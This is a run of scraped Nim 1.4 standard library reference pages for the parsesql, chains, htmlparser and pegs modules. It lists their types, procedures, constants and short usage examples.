nkOrder, nkJoin, nkDesc, nkUnion, nkIntersect, nkExcept, nkColumnList, nkValueList, nkWhere, nkCreateTable, nkCreateTableIfNotExists, nkCreateType, nkCreateTypeIfNotExists, nkCreateIndex, nkCreateIndexIfNotExists, nkEnumDef ``` kind of SQL abstract syntax tree [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L480) ``` SqlParseError = object of ValueError ``` Invalid SQL encountered [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L546) ``` SqlNode = ref SqlNodeObj ``` an SQL abstract syntax tree node [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L547) ``` SqlNodeObj = object case kind*: SqlNodeKind ## kind of syntax tree of LiteralNodes: strVal*: string ## AST leaf: the identifier, numeric literal ## string literal, etc. else: sons*: seq[SqlNode] ## the node's children ``` an SQL abstract syntax tree node [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L548) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L548) ``` SqlParser = object of SqlLexer tok: Token ``` SQL parser object [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L556) Procs ----- ``` proc newNode(k: SqlNodeKind): SqlNode {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L559) ``` proc newNode(k: SqlNodeKind; s: string): SqlNode {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L569) ``` proc newNode(k: SqlNodeKind; sons: seq[SqlNode]): SqlNode {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L573) ``` proc len(n: SqlNode): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L577) ``` proc `[]`(n: SqlNode; i: int): SqlNode {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L583) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L583) ``` proc `[]`(n: SqlNode; i: BackwardsIndex): SqlNode {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L584) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L584) ``` proc add(father, n: SqlNode) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L586) ``` proc renderSQL(n: SqlNode; upperCase = false): string {...}{.raises: [Exception], tags: [RootEffect].} ``` Converts an SQL abstract syntax tree to its string representation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L1451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L1451) ``` proc `$`(n: SqlNode): string {...}{.raises: [Exception], tags: [RootEffect].} ``` an alias for `renderSQL`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L1459) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L1459) ``` proc treeRepr(s: SqlNode): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L1475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L1475) ``` proc parseSQL(input: Stream; filename: string): SqlNode {...}{.raises: [IOError, OSError, IOError, OSError, ValueError, SqlParseError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` parses the SQL from `input` into an AST and returns the AST. `filename` is only used for error messages. Syntax errors raise an `SqlParseError` exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L1493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L1493) ``` proc parseSQL(input: string; filename = ""): SqlNode {...}{. raises: [IOError, OSError, ValueError, SqlParseError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` parses the SQL from `input` into an AST and returns the AST. `filename` is only used for error messages. Syntax errors raise an `SqlParseError` exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L1504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L1504) nim chains chains ====== Template based implementation of singly and doubly linked lists. The involved types should have 'prev' or 'next' fields and the list header should have 'head' or 'tail' fields. Templates --------- ``` template prepend(header, node) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/chains.nim#L14) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/chains.nim#L14) ``` template append(header, node) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/chains.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/chains.nim#L25) ``` template unlink(header, node) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/chains.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/chains.nim#L36) nim htmlparser htmlparser ========== **NOTE**: The behaviour might change in future versions as it is not clear what "*wild* HTML the real world uses" really implies. It can be used to parse a wild HTML document and output it as valid XHTML document (well, if you are lucky): ``` echo loadHtml("mydirty.html") ``` Every tag in the resulting tree is in lower case. **Note:** The resulting `XmlNode` already uses the `clientData` field, so it cannot be used by clients of this library. Example: Transforming hyperlinks -------------------------------- This code demonstrates how you can iterate over all the tags in an HTML file and write back the modified version. In this case we look for hyperlinks ending with the extension `.rst` and convert them to `.html`. ``` import htmlparser import xmltree # To use '$' for XmlNode import strtabs # To access XmlAttributes import os # To use splitFile import strutils # To use cmpIgnoreCase proc transformHyperlinks() = let html = loadHtml("input.html") for a in html.findAll("a"): if a.attrs.hasKey "href": let (dir, filename, ext) = splitFile(a.attrs["href"]) if cmpIgnoreCase(ext, ".rst") == 0: a.attrs["href"] = dir / filename & ".html" writeFile("output.html", $html) ``` Imports ------- <strutils>, <streams>, <parsexml>, <xmltree>, <unicode>, <strtabs>, <os> Types ----- ``` HtmlTag = enum tagUnknown, ## unknown HTML element tagA, ## the HTML ``a`` element tagAbbr, ## the deprecated HTML ``abbr`` element tagAcronym, ## the HTML ``acronym`` element tagAddress, ## the HTML ``address`` element tagApplet, ## the deprecated HTML ``applet`` element tagArea, ## the HTML ``area`` element tagArticle, ## the HTML ``article`` element tagAside, ## the HTML ``aside`` element tagAudio, ## the HTML ``audio`` element tagB, ## the HTML ``b`` element tagBase, ## the HTML ``base`` element tagBdi, ## the HTML ``bdi`` element tagBdo, ## the deprecated HTML ``dbo`` element tagBasefont, ## the deprecated HTML ``basefont`` element tagBig, ## the HTML ``big`` element tagBlockquote, ## the HTML ``blockquote`` element tagBody, ## the HTML ``body`` element tagBr, ## the HTML ``br`` element tagButton, ## the HTML ``button`` element tagCanvas, ## the HTML ``canvas`` element tagCaption, ## the HTML ``caption`` element tagCenter, ## the deprecated HTML ``center`` element tagCite, ## the HTML ``cite`` element tagCode, ## the HTML ``code`` element tagCol, ## the HTML ``col`` element tagColgroup, ## the HTML ``colgroup`` element tagCommand, ## the HTML ``command`` element tagDatalist, ## the HTML ``datalist`` element tagDd, ## the HTML ``dd`` element tagDel, ## the HTML ``del`` element tagDetails, ## the HTML ``details`` element tagDfn, ## the HTML ``dfn`` element tagDialog, ## the HTML ``dialog`` element tagDiv, ## the HTML ``div`` element tagDir, ## the deprecated HTLM ``dir`` element tagDl, ## the HTML ``dl`` element tagDt, ## the HTML ``dt`` element tagEm, ## the HTML ``em`` element tagEmbed, ## the HTML ``embed`` element tagFieldset, ## the HTML ``fieldset`` element tagFigcaption, ## the HTML ``figcaption`` element tagFigure, ## the HTML ``figure`` element tagFont, ## the deprecated HTML ``font`` element tagFooter, ## the HTML ``footer`` element tagForm, ## the HTML ``form`` element tagFrame, ## the HTML ``frame`` element tagFrameset, ## the deprecated HTML ``frameset`` element tagH1, ## the HTML ``h1`` element tagH2, ## the HTML ``h2`` element tagH3, ## the HTML ``h3`` element tagH4, ## the HTML ``h4`` element tagH5, ## the HTML ``h5`` element tagH6, ## the HTML ``h6`` element tagHead, ## the HTML ``head`` element tagHeader, ## the HTML ``header`` element tagHgroup, ## the HTML ``hgroup`` element tagHtml, ## the HTML ``html`` element tagHr, ## the HTML ``hr`` element tagI, ## the HTML ``i`` element tagIframe, ## the deprecated HTML ``iframe`` element tagImg, ## the HTML ``img`` element tagInput, ## the HTML ``input`` element tagIns, ## the HTML ``ins`` element tagIsindex, ## the deprecated HTML ``isindex`` element tagKbd, ## the HTML ``kbd`` element tagKeygen, ## the HTML ``keygen`` element tagLabel, ## the HTML ``label`` element tagLegend, ## the HTML ``legend`` element tagLi, ## the HTML ``li`` element tagLink, ## the HTML ``link`` element tagMap, ## the HTML ``map`` element tagMark, ## the HTML ``mark`` element tagMenu, ## the deprecated HTML ``menu`` element tagMeta, ## the HTML ``meta`` element tagMeter, ## the HTML ``meter`` element tagNav, ## the HTML ``nav`` element tagNobr, ## the deprecated HTML ``nobr`` element tagNoframes, ## the deprecated HTML ``noframes`` element tagNoscript, ## the HTML ``noscript`` element tagObject, ## the HTML ``object`` element tagOl, ## the HTML ``ol`` element tagOptgroup, ## the HTML ``optgroup`` element tagOption, ## the HTML ``option`` element tagOutput, ## the HTML ``output`` element tagP, ## the HTML ``p`` element tagParam, ## the HTML ``param`` element tagPre, ## the HTML ``pre`` element tagProgress, ## the HTML ``progress`` element tagQ, ## the HTML ``q`` element tagRp, ## the HTML ``rp`` element tagRt, ## the HTML ``rt`` element tagRuby, ## the HTML ``ruby`` element tagS, ## the deprecated HTML ``s`` element tagSamp, ## the HTML ``samp`` element tagScript, ## the HTML ``script`` element tagSection, ## the HTML ``section`` element tagSelect, ## the HTML ``select`` element tagSmall, ## the HTML ``small`` element tagSource, ## the HTML ``source`` element tagSpan, ## the HTML ``span`` element tagStrike, ## the deprecated HTML ``strike`` element tagStrong, ## the HTML ``strong`` element tagStyle, ## the HTML ``style`` element tagSub, ## the HTML ``sub`` element tagSummary, ## the HTML ``summary`` element tagSup, ## the HTML ``sup`` element tagTable, ## the HTML ``table`` element tagTbody, ## the HTML ``tbody`` element tagTd, ## the HTML ``td`` element tagTextarea, ## the HTML ``textarea`` element tagTfoot, ## the HTML ``tfoot`` element tagTh, ## the HTML ``th`` element tagThead, ## the HTML ``thead`` element tagTime, ## the HTML ``time`` element tagTitle, ## the HTML ``title`` element tagTr, ## the HTML ``tr`` element tagTrack, ## the HTML ``track`` element tagTt, ## the HTML ``tt`` element tagU, ## the deprecated HTML ``u`` element tagUl, ## the HTML ``ul`` element tagVar, ## the HTML ``var`` element tagVideo, ## the HTML ``video`` element tagWbr ## the HTML ``wbr`` element ``` list of all supported HTML tags; order will always be alphabetically [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L55) Consts ------ ``` tagToStr = ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "big", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dir", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "html", "hr", "i", "iframe", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "map", "mark", "menu", "meta", "meter", "nav", "nobr", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "pre", "progress", "q", "rp", "rt", "ruby", "s", "samp", "script", "section", "select", "small", "source", "span", "strike", "strong", "style", "sub", "summary", "sup", "table", "tbody", "td", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L183) ``` InlineTags = {tagA, tagAbbr, tagAcronym, tagApplet, tagB, tagBasefont, tagBdo, tagBig, tagBr, tagButton, tagCite, tagCode, tagDel, tagDfn, tagEm, tagFont, tagI, tagImg, tagIns, tagInput, tagIframe, tagKbd, tagLabel, tagMap, tagObject, tagQ, tagSamp, tagScript, tagSelect, tagSmall, tagSpan, tagStrong, tagSub, tagSup, tagTextarea, tagTt, tagVar, tagApplet, tagBasefont, tagFont, tagIframe, tagU, tagS, tagStrike, tagWbr} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L204) ``` BlockTags = {tagAddress, tagBlockquote, tagCenter, tagDel, tagDir, tagDiv, tagDl, tagFieldset, tagForm, tagH1, tagH2, tagH3, tagH4, tagH5, tagH6, tagHr, tagIns, tagIsindex, tagMenu, tagNoframes, tagNoscript, tagOl, tagP, tagPre, tagTable, tagUl, tagCenter, tagDir, tagIsindex, tagMenu, tagNoframes} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L211) ``` SingleTags = {tagArea, tagBase, tagBasefont, tagBr, tagCol, tagFrame, tagHr, tagImg, tagIsindex, tagLink, tagMeta, tagParam, tagWbr} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L216) Procs ----- ``` proc htmlTag(n: XmlNode): HtmlTag {...}{.raises: [], tags: [].} ``` Gets `n`'s tag as a `HtmlTag`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L353) ``` proc htmlTag(s: string): HtmlTag {...}{.raises: [], tags: [].} ``` Converts `s` to a `HtmlTag`. If `s` is no HTML tag, `tagUnknown` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L359) ``` proc runeToEntity(rune: Rune): string {...}{.raises: [], tags: [].} ``` converts a Rune to its numeric HTML entity equivalent. **Example:** ``` import unicode doAssert runeToEntity(Rune(0)) == "" doAssert runeToEntity(Rune(-1)) == "" doAssert runeToEntity("Ü".runeAt(0)) == "#220" doAssert runeToEntity("∈".runeAt(0)) == "#8712" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L365) ``` proc entityToRune(entity: string): Rune {...}{.raises: [], tags: [].} ``` Converts an HTML entity name like `&Uuml;` or values like `&#220;` or `&#x000DC;` to its UTF-8 equivalent. Rune(0) is returned if the entity name is unknown. **Example:** ``` import unicode doAssert entityToRune("") == Rune(0) doAssert entityToRune("a") == Rune(0) doAssert entityToRune("gt") == ">".runeAt(0) doAssert entityToRune("Uuml") == "Ü".runeAt(0) doAssert entityToRune("quest") == "?".runeAt(0) doAssert entityToRune("#x0003F") == "?".runeAt(0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L376) ``` proc entityToUtf8(entity: string): string {...}{.raises: [], tags: [].} ``` Converts an HTML entity name like `&Uuml;` or values like `&#220;` or `&#x000DC;` to its UTF-8 equivalent. "" is returned if the entity name is unknown. The HTML parser already converts entities to UTF-8. **Example:** ``` const sigma = "Σ" doAssert entityToUtf8("") == "" doAssert entityToUtf8("a") == "" doAssert entityToUtf8("gt") == ">" doAssert entityToUtf8("Uuml") == "Ü" doAssert entityToUtf8("quest") == "?" doAssert entityToUtf8("#63") == "?" doAssert entityToUtf8("Sigma") == sigma doAssert entityToUtf8("#931") == sigma doAssert entityToUtf8("#0931") == sigma doAssert entityToUtf8("#x3A3") == sigma doAssert entityToUtf8("#x03A3") == sigma doAssert entityToUtf8("#x3a3") == sigma doAssert entityToUtf8("#X3a3") == sigma ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L1869) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L1869) ``` proc parseHtml(s: Stream; filename: string; errors: var seq[string]): XmlNode {...}{. raises: [IOError, OSError, ValueError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` Parses the XML from stream `s` and returns a `XmlNode`. Every occurred parsing error is added to the `errors` sequence. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L2013) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L2013) ``` proc parseHtml(s: Stream): XmlNode {...}{.raises: [IOError, OSError, ValueError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` Parses the HTML from stream `s` and returns a `XmlNode`. All parsing errors are ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L2038) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L2038) ``` proc parseHtml(html: string): XmlNode {...}{.raises: [IOError, OSError, ValueError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` Parses the HTML from string `html` and returns a `XmlNode`. All parsing errors are ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L2044) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L2044) ``` proc loadHtml(path: string; errors: var seq[string]): XmlNode {...}{. raises: [IOError, OSError, ValueError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` Loads and parses HTML from file specified by `path`, and returns a `XmlNode`. Every occurred parsing error is added to the `errors` sequence. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L2049) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L2049) ``` proc loadHtml(path: string): XmlNode {...}{.raises: [IOError, OSError, ValueError, Exception], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` Loads and parses HTML from file specified by `path`, and returns a `XmlNode`. All parsing errors are ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/htmlparser.nim#L2057) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/htmlparser.nim#L2057)
programming_docs
nim pegs pegs ==== Simple PEG (Parsing expression grammar) matching. Uses no memorization, but uses superoperators and symbol inlining to improve performance. Note: Matching performance is hopefully competitive with optimized regular expression engines. PEG syntax and semantics ------------------------ A PEG (Parsing expression grammar) is a simple deterministic grammar, that can be directly used for parsing. The current implementation has been designed as a more powerful replacement for regular expressions. UTF-8 is supported. The notation used for a PEG is similar to that of EBNF: | notation | meaning | | --- | --- | | `A / ... / Z` | Ordered choice: Apply expressions `A`, ..., `Z`, in this order, to the text ahead, until one of them succeeds and possibly consumes some text. Indicate success if one of expressions succeeded. Otherwise do not consume any text and indicate failure. | | `A ... Z` | Sequence: Apply expressions `A`, ..., `Z`, in this order, to consume consecutive portions of the text ahead, as long as they succeed. Indicate success if all succeeded. Otherwise do not consume any text and indicate failure. The sequence's precedence is higher than that of ordered choice: `A B / C` means `(A B) / Z` and not `A (B / Z)`. | | `(E)` | Grouping: Parenthesis can be used to change operator priority. | | `{E}` | Capture: Apply expression `E` and store the substring that matched `E` into a *capture* that can be accessed after the matching process. | | `$i` | Back reference to the `i`th capture. `i` counts from 1. | | `$` | Anchor: Matches at the end of the input. No character is consumed. Same as `!.`. | | `^` | Anchor: Matches at the start of the input. No character is consumed. | | `&E` | And predicate: Indicate success if expression `E` matches the text ahead; otherwise indicate failure. Do not consume any text. | | `!E` | Not predicate: Indicate failure if expression E matches the text ahead; otherwise indicate success. Do not consume any text. | | `E+` | One or more: Apply expression `E` repeatedly to match the text ahead, as long as it succeeds. Consume the matched text (if any) and indicate success if there was at least one match. Otherwise indicate failure. | | `E*` | Zero or more: Apply expression `E` repeatedly to match the text ahead, as long as it succeeds. Consume the matched text (if any). Always indicate success. | | `E?` | Zero or one: If expression `E` matches the text ahead, consume it. Always indicate success. | | `[s]` | Character class: If the character ahead appears in the string `s`, consume it and indicate success. Otherwise indicate failure. | | `[a-b]` | Character range: If the character ahead is one from the range `a` through `b`, consume it and indicate success. Otherwise indicate failure. | | `'s'` | String: If the text ahead is the string `s`, consume it and indicate success. Otherwise indicate failure. | | `i's'` | String match ignoring case. | | `y's'` | String match ignoring style. | | `v's'` | Verbatim string match: Use this to override a global `\i` or `\y` modifier. | | `i$j` | String match ignoring case for back reference. | | `y$j` | String match ignoring style for back reference. | | `v$j` | Verbatim string match for back reference. | | `.` | Any character: If there is a character ahead, consume it and indicate success. Otherwise (that is, at the end of input) indicate failure. | | `_` | Any Unicode character: If there is an UTF-8 character ahead, consume it and indicate success. Otherwise indicate failure. | | `@E` | Search: Shorthand for `(!E .)* E`. (Search loop for the pattern `E`.) | | `{@} E` | Captured Search: Shorthand for `{(!E .)*} E`. (Search loop for the pattern `E`.) Everything until and exluding `E` is captured. | | `@@ E` | Same as `{@} E`. | | `A <- E` | Rule: Bind the expression `E` to the *nonterminal symbol* `A`. **Left recursive rules are not possible and crash the matching engine.** | | `\identifier` | Built-in macro for a longer expression. | | `\ddd` | Character with decimal code *ddd*. | | `\"`, etc | Literal `"`, etc. | ### Built-in macros | macro | meaning | | --- | --- | | `\d` | any decimal digit: `[0-9]` | | `\D` | any character that is not a decimal digit: `[^0-9]` | | `\s` | any whitespace character: `[ \9-\13]` | | `\S` | any character that is not a whitespace character: `[^ \9-\13]` | | `\w` | any "word" character: `[a-zA-Z0-9_]` | | `\W` | any "non-word" character: `[^a-zA-Z0-9_]` | | `\a` | same as `[a-zA-Z]` | | `\A` | same as `[^a-zA-Z]` | | `\n` | any newline combination: `\10 / \13\10 / \13` | | `\i` | ignore case for matching; use this at the start of the PEG | | `\y` | ignore style for matching; use this at the start of the PEG | | `\skip` pat | skip pattern *pat* before trying to match other tokens; this is useful for whitespace skipping, for example: `\skip(\s*) {\ident} ':' {\ident}` matches key value pairs ignoring whitespace around the `':'`. | | `\ident` | a standard ASCII identifier: `[a-zA-Z_][a-zA-Z_0-9]*` | | `\letter` | any Unicode letter | | `\upper` | any Unicode uppercase letter | | `\lower` | any Unicode lowercase letter | | `\title` | any Unicode title letter | | `\white` | any Unicode whitespace character | A backslash followed by a letter is a built-in macro, otherwise it is used for ordinary escaping: | notation | meaning | | --- | --- | | `\\` | a single backslash | | `\*` | same as `'*'` | | `\t` | not a tabulator, but an (unknown) built-in | ### Supported PEG grammar The PEG parser implements this grammar (written in PEG syntax): ``` # Example grammar of PEG in PEG syntax. # Comments start with '#'. # First symbol is the start symbol. grammar <- rule* / expr identifier <- [A-Za-z][A-Za-z0-9_]* charsetchar <- "\\" . / [^\]] charset <- "[" "^"? (charsetchar ("-" charsetchar)?)+ "]" stringlit <- identifier? ("\"" ("\\" . / [^"])* "\"" / "'" ("\\" . / [^'])* "'") builtin <- "\\" identifier / [^\13\10] comment <- '#' @ \n ig <- (\s / comment)* # things to ignore rule <- identifier \s* "<-" expr ig identNoArrow <- identifier !(\s* "<-") prefixOpr <- ig '&' / ig '!' / ig '@' / ig '{@}' / ig '@@' literal <- ig identifier? '$' [0-9]+ / '$' / '^' / ig identNoArrow / ig charset / ig stringlit / ig builtin / ig '.' / ig '_' / (ig "(" expr ig ")") postfixOpr <- ig '?' / ig '*' / ig '+' primary <- prefixOpr* (literal postfixOpr*) # Concatenation has higher priority than choice: # ``a b / c`` means ``(a b) / c`` seqExpr <- primary+ expr <- seqExpr (ig "/" expr)* ``` **Note**: As a special syntactic extension if the whole PEG is only a single expression, identifiers are not interpreted as non-terminals, but are interpreted as verbatim string: ``` abc =~ peg"abc" # is true ``` So it is not necessary to write `peg" 'abc' "` in the above example. ### Examples Check if `s` matches Nim's "while" keyword: ``` s =~ peg" y'while'" ``` Exchange (key, val)-pairs: ``` "key: val; key2: val2".replacef(peg"{\ident} \s* ':' \s* {\ident}", "$2: $1") ``` Determine the `#include`'ed files of a C file: ``` for line in lines("myfile.c"): if line =~ peg"""s <- ws '#include' ws '"' {[^"]+} '"' ws comment <- '/*' @ '*/' / '//' .* ws <- (comment / \s+)* """: echo matches[0] ``` ### PEG vs regular expression As a regular expression `\[.*\]` matches the longest possible text between `'['` and `']'`. As a PEG it never matches anything, because a PEG is deterministic: `.*` consumes the rest of the input, so `\]` never matches. As a PEG this needs to be written as: `\[ ( !\] . )* \]` (or `\[ @ \]`). Note that the regular expression does not behave as intended either: in the example `*` should not be greedy, so `\[.*?\]` should be used instead. ### PEG construction There are two ways to construct a PEG in Nim code: 1. Parsing a string into an AST which consists of `Peg` nodes with the `peg` proc. 2. Constructing the AST directly with proc calls. This method does not support constructing rules, only simple expressions and is not as convenient. Its only advantage is that it does not pull in the whole PEG parser into your executable. Imports ------- <strutils>, <macros>, <unicode> Types ----- ``` PegKind = enum pkEmpty, pkAny, ## any character (.) pkAnyRune, ## any Unicode character (_) pkNewLine, ## CR-LF, LF, CR pkLetter, ## Unicode letter pkLower, ## Unicode lower case letter pkUpper, ## Unicode upper case letter pkTitle, ## Unicode title character pkWhitespace, ## Unicode whitespace character pkTerminal, pkTerminalIgnoreCase, pkTerminalIgnoreStyle, pkChar, ## single character to match pkCharChoice, pkNonTerminal, pkSequence, ## a b c ... --> Internal DSL: peg(a, b, c) pkOrderedChoice, ## a / b / ... --> Internal DSL: a / b or /[a, b, c] pkGreedyRep, ## a* --> Internal DSL: *a ## a+ --> (a a*) pkGreedyRepChar, ## x* where x is a single character (superop) pkGreedyRepSet, ## [set]* (superop) pkGreedyAny, ## .* or _* (superop) pkOption, ## a? --> Internal DSL: ?a pkAndPredicate, ## &a --> Internal DSL: &a pkNotPredicate, ## !a --> Internal DSL: !a pkCapture, ## {a} --> Internal DSL: capture(a) pkBackRef, ## $i --> Internal DSL: backref(i) pkBackRefIgnoreCase, pkBackRefIgnoreStyle, pkSearch, ## @a --> Internal DSL: !*a pkCapturedSearch, ## {@} a --> Internal DSL: !*\a pkRule, ## a <- b pkList, ## a, b pkStartAnchor ## ^ --> Internal DSL: startAnchor() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L35) ``` NonTerminalFlag = enum ntDeclared, ntUsed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L70) ``` Peg {...}{.shallow.} = object case kind: PegKind of pkEmpty .. pkWhitespace: nil of pkTerminal, pkTerminalIgnoreCase, pkTerminalIgnoreStyle: term: string of pkChar, pkGreedyRepChar: ch: char of pkCharChoice, pkGreedyRepSet: charChoice: ref set[char] of pkNonTerminal: nt: NonTerminal of pkBackRef .. pkBackRefIgnoreStyle: index: range[0 .. MaxSubpatterns] else: sons: seq[Peg] ``` type that represents a PEG [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L78) ``` NonTerminal = ref NonTerminalObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L87) ``` Captures = object matches: array[0 .. 20 - 1, tuple[first, last: int]] ml: int origStart: int ``` contains the captured substrings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L529) ``` EInvalidPeg = object of ValueError ``` raised if an invalid PEG has been detected [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1794) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1794) Consts ------ ``` MaxSubpatterns = 20 ``` defines the maximum number of subpatterns that can be captured. More subpatterns cannot be captured! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L31) 